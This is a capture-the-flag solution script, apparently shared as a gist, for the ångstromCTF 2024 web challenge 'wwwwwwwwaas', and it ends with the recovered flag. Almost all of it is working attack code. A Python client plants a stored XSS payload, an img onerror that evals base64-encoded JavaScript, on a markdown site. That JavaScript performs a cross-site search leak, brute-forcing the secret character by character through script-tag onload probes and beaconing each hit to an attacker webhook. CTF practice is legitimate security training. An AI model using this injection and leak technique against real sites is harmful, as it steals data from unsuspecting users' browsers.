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ångstromCTF 2024 - wwwwwwwwaas (web)
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| import httpx | |
| import base64 | |
| payload = """ | |
| const targetUrl = "https://wwwwwwwwaas.web.actf.co"; | |
| const logUrl = "https://<your webhook>"; | |
| function log(msg) { | |
| navigator.sendBeacon(logUrl + '/log?f=' + msg); | |
| } | |
| function probeError(query) { | |
| let script = document.createElement('script'); | |
| script.src = targetUrl + '/search?q=' + encodeURIComponent(query); | |
| script.onload = () => { | |
| log(query); | |
| check(query); | |
| }; | |
| document.head.appendChild(script); | |
| } | |
| const charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}'; | |
| function check(flag) { | |
| for (let i = 0; i < charset.length; i++) { | |
| let c = charset[i]; | |
| let query = flag + c; | |
| probeError(query); | |
| } | |
| } | |
| check("actf{"); | |
| """ | |
| payload = base64.b64encode(payload.encode()).decode() | |
| def main() -> None: | |
| with httpx.Client(base_url="https://markdown.web.actf.co") as client: | |
| r = client.post( | |
| "/create", | |
| data={"content": f"<img src=x onerror='eval(atob(`{payload}`))'>"}, | |
| follow_redirects=True, | |
| ) | |
| print(r.url) | |
| if __name__ == "__main__": | |
| main() | |
| # actf{the_w_watermarks_the_whereabouts} |
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